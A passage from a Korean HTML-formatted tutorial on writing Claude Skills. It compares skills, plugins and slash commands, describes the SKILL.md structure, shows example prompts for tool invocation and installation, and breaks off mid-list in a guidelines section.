&lt;div style=&quot;background-color: #fff3cd; padding: 20px; border-radius: 12px; border-left: 5px solid #ffc107; margin: 25px 0;&quot;&gt;
&lt;h4 style=&quot;color: #856404; margin: 0 0 15px 0; font-size: 18px;&quot; data-ke-size=&quot;size20&quot;&gt;흔한 실수 피하기&lt;/h4&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;과잉 엔지니어링&lt;/b&gt;: MVP에서 완벽을 기하려 하지 마라&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;테스트 건너뛰기&lt;/b&gt;: &quot;시간이 없어서&quot;는 변명이 아니다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;피드백 무시&lt;/b&gt;: 사용자가 원하지 않는 기능을 만들지 마라&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;너무 긴 반복&lt;/b&gt;: 2주 이상의 반복은 피드백이 늦어진다&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; padding: 20px; border-radius: 12px; border-left: 5px solid #28a745; margin: 25px 0;&quot;&gt;
&lt;h4 style=&quot;color: #155724; margin: 0 0 15px 0; font-size: 18px;&quot; data-ke-size=&quot;size20&quot;&gt;테스트 우선 개발의 이점&lt;/h4&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;명확한 요구사항&lt;/b&gt;: 테스트가 곧 문서가 된다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;빠른 피드백&lt;/b&gt;: 구현 전에 설계 오류를 발견한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;안전한 리팩토링&lt;/b&gt;: 테스트가 안전망이 된다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;자신 있는 배포&lt;/b&gt;: 모든 테스트 통과 = 배포 준비 완료&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7: Skills vs Plugins vs Slash Commands 선택 가이드 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. Skills vs Plugins vs Slash Commands 선택 가이드&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;언제 무엇을 사용할지 혼동스러울 수 있다. 의사결정 트리를 참고하자!.&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f7ff; padding: 20px; border-radius: 12px; border: 1px solid #b3d9ff; margin: 25px 0;&quot;&gt;
&lt;h4 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px;&quot; data-ke-size=&quot;size20&quot;&gt;의사결정 트리&lt;/h4&gt;
&lt;div style=&quot;background: #fff; padding: 15px; border-radius: 8px; font-family: monospace; font-size: 14px;&quot;&gt;
&lt;pre class=&quot;less&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;시작
  │
  ├─ 다른 사람과 공유해야 하나요?
  │   ├─ 예 &amp;rarr; Plugin (마켓플레이스 배포)
  │   └─ 아니오 &amp;rarr; 계속
  │
  ├─ 복잡한 다기능이 필요한가요?
  │   ├─ 예 (Commands + Agents + Skills + MCP) &amp;rarr; Plugin
  │   └─ 아니오 &amp;rarr; 계속
  │
  ├─ 자동 호출이 필요한가요?
  │   ├─ 예 (사용자 의도 파악) &amp;rarr; Skill
  │   └─ 아니오 &amp;rarr; 계속
  │
  └─ 빠른 실행이 필요한가요?
      ├─ 예 (/명령어 입력) &amp;rarr; Slash Command
      └─ 아니오 &amp;rarr; SKILL.md 파일에 지침 작성&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;상황별 추천 선택&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;추천&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;커밋 메시지 생성&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #28a745; font-weight: 600;&quot;&gt;Skill&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&quot;커밋해줘&quot;로 자동 호출&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f5f9fc;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;팀 표준 작업 환경&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #0066cc; font-weight: 600;&quot;&gt;Plugin&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;여러 컴포넌트 번들, 팀 공유&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;간단한 설정 변경&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #0066cc; font-weight: 600;&quot;&gt;Slash Command&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;/set-theme, /toggle-feature&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f5f9fc;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;코드 리뷰 자동화&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #28a745; font-weight: 600;&quot;&gt;Skill&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&quot;리뷰해줘&quot;로 자동 호출&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;외부 API와 통합&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #0066cc; font-weight: 600;&quot;&gt;Plugin&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;MCP 서버 + Hooks + Skill 번들&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 8: Skill 구조 이해하기 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. Skill 구조 이해하기&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Skill은 두 가지 핵심 프롬프트로 구성된다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;작성 프롬프트 (Composition Prompt)&lt;/b&gt;: Claude에게 skill을 작성하도록 지시&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;공급자 프롬프트 (Provider Prompt)&lt;/b&gt;: 설치 방법과 discovery를 담당&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;작성 프롬프트 (SKILL.md)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;작성 프롬프트는 &lt;b&gt;SKILL.md&lt;/b&gt; 파일로 작성된다. 이는 Claude에게 skill을 작성하도록 지시하는 프롬프트다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;SKILL.md 구조&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;참고:&lt;/b&gt; 이 가이드의 &quot;Purpose, Specification, Refinement&quot; 3단계 구조는&lt;br /&gt;PDF &quot;The Complete Guide to Building Skill for Claude&quot;에서 제안하는 프롬프트 작성 방법론이다.&lt;br /&gt;Anthropic의 공식 문서에서는 SKILL.md 파일 구조를 사용한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;// 작성 프롬프트의 기본 구조&lt;/div&gt;
&lt;pre class=&quot;angelscript&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;당신은 skill 작성 전문가다.

다음 요구사항에 맞는 skill을 작성하라:

1. 이 skill은 무엇인가? (Purpose)
2. 어떻게 동작하는가? (Specification)
3. 왜 이렇게 작성했는가? (Refinement)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;공급자 프롬프트 (Agent 정의)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;공급자 프롬프트는 skill이 설치되는 방법과 도구 discovery를 담당한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;공식 용어 참고&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;참고:&lt;/b&gt; &quot;Provider Prompt&quot;는 PDF에서 사용하는 용어다.&lt;br /&gt;Anthropic 공식 문서에서는 &lt;b&gt;Agent 정의 (.md 파일)&lt;/b&gt;를 사용한다.&lt;br /&gt;이 가이드에서는 PDF의 용어를 따르되, 공식 용어와의 차이를 명시한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;// 공급자 프롬프트의 기본 구조&lt;/div&gt;
&lt;pre class=&quot;yaml&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;이 skill을 설치하려면:

1. 설치 방법: [설치 단계]
2. 도구 discovery: [도구 목록 확인 방법]
3. 사용 방법: [사용 예시]&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;핵심 원칙: 도구 활용 유도&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;공급자 프롬프트의 핵심은 Claude가 도구를 적극적으로 활용하도록 유도하는 것이다. 단, &lt;b&gt;tool은 필수 요소가 아니다&lt;/b&gt;. 많은 skill이 도구 없이 프롬프트 지침만으로 작동할 수 있다. 도구가 필요한 경우에는 &lt;code&gt;allowed-tools&lt;/code&gt;로 명시적으로 제한할 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 9: 작성 프롬프트 3단계 구조 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 작성 프롬프트: 3단계 구조&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;작성 프롬프트는 &lt;b&gt;목적, 명세, 리팩터링&lt;/b&gt;의 3단계로 구조화된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 1: 목적 (Purpose)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;이 skill은 무엇을 합니까?&quot;&lt;/b&gt;를 명확히 정의한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;// 목적 정의 예시&lt;/div&gt;
&lt;pre class=&quot;1c&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;// Good: 명확한 목적
&quot;이 skill은 코드 리뷰를 수행한다.
보안 취약점, 성능 문제, 코드 스타일을 검사한다.&quot;

// Bad: 모호한 목적
&quot;이 skill은 코드를 봅니다.&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 2: 명세 (Specification)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;어떻게 동작합니까?&quot;&lt;/b&gt;를 구체적으로 정의한다. 도구 정의가 포함된다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;// 명세 정의 예시&lt;/div&gt;
&lt;pre class=&quot;reasonml&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;다음 도구를 제공한다:

1. review_code(file_path): 코드를 검사하고 보고서 생성
2. check_security(file_path): 보안 취약점 스캔
3. suggest_improvements(file_path): 개선사항 제안

각 도구는 분석 결과를 구조화된 JSON으로 반환한다.&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 3: 리팩터링 (Refinement)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;왜 이렇게 작성했는가?&quot;&lt;/b&gt;를 설명한다. 작성 이유와 설계 결정을 포함한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;// 리팩터링 예시&lt;/div&gt;
&lt;pre class=&quot;asciidoc&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;설계 결정:
- 도구를 3개로 분할: 단일 책임 원칙 준수
- JSON 반환: 구조화된 데이터 처리 용이
- 개별 검사 함수: 재사용성과 테스트 용이성

이 구조는 다른 skill에서도 재사용할 수 있다.&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;3단계 구조의 장점&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;이 구조는 Claude에게 다음을 보장한다:&lt;br /&gt;- 무엇을 만들어야 하는지 명확히 이해&lt;br /&gt;- 어떻게 구현할지 구체적 가이드&lt;br /&gt;- 왜 이렇게 설계했는지 맥락 이해&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 10: 공급자 프롬프트의 핵심 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 공급자 프롬프트의 핵심&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;공급자 프롬프트는 skill이 &lt;b&gt;실제로 사용되도록&lt;/b&gt; 만드는 핵심이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;도구 활용 가이드&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;skill에 도구가 필요한 경우, &lt;b&gt;Claude가 도구를 호출하도록 유도&lt;/b&gt;해야 한다. 단, 도구는 &lt;b&gt;선택적&lt;/b&gt; 요소다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;// SKILL.md 예시 (도구 포함)&lt;/div&gt;
&lt;pre class=&quot;1c&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;// Good: 도구 호출 유도
&quot;코드를 검사하려면 먼저 read_file 도구를 호출하여
파일 내용을 읽어야 한다.&quot;

// Bad: 설명만 함
&quot;코드를 검사할 때는 파일 내용을 확인하라.&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;구분&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;도구 호출 유도 (Good)&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;설명만 (Bad)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;파일 읽기&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&quot;read_file 도구를 호출하라&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&quot;파일을 읽어보세요&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;파일 쓰기&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&quot;write_file 도구로 저장하라&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&quot;파일에 내용을 저장하라&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;검색&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&quot;search 도구를 사용하라&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&quot;내용을 찾아보세요&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;discovery 메커니즘&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;discovery는 공급자에게 &lt;b&gt;&quot;어떤 도구를 제공합니까?&quot;&lt;/b&gt;라고 묻는 과정이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;// discovery 구현 예시&lt;/div&gt;
&lt;pre class=&quot;vim&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;사용자: &quot;이 skill은 무엇인가?&quot;
공급자: &quot;이 skill은 다음 도구를 제공한다:
- read_file: 파일 내용 읽기
- write_file: 파일에 내용 쓰기
- search_files: 파일 검색

어떤 도구를 사용하겠는가?&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;설치 방법 안내&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;사용자가 skill을 쉽게 설치할 수 있도록 명확한 가이드를 제공해야 한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;// 설치 방법 예시&lt;/div&gt;
&lt;pre class=&quot;angelscript&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;설치 방법:
1. 이 프롬프트를 복사한다
2. Claude Code에서 /skill install 을 입력한다
3. 프롬프트를 붙여넣는다
4. 설치가 완료되면 자동으로 도구가 사용 가능하다&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 11: 작성 가이드라인 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;11. 작성 가이드라인&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;효과적인 skill을 작성하기 위한 핵심 가이드라인이다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;가이드라인&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;설명&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;예시&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;작은 도구로 분해&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;하나의 도구는 하나의 일만&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;read_file + write_file 분리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;명확한 이름&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;도구 이름은 동사로 시작&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;analyze_code (good), code (bad)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;명확한 목적&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;도구가 무엇을 하는지 명시&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&quot;보안 취약점을 스캔한다&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;도구 우선&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;설명보다 도구 호출을 먼저&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&quot;read_file 도구를 호출하라&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;핵심 가이드라인 요약&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;작은 도구&lt;/b&gt;: 단일 책임 원칙&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;명확한 이름&lt;/b&gt;: 동사 + 명사&lt;/li&gt;
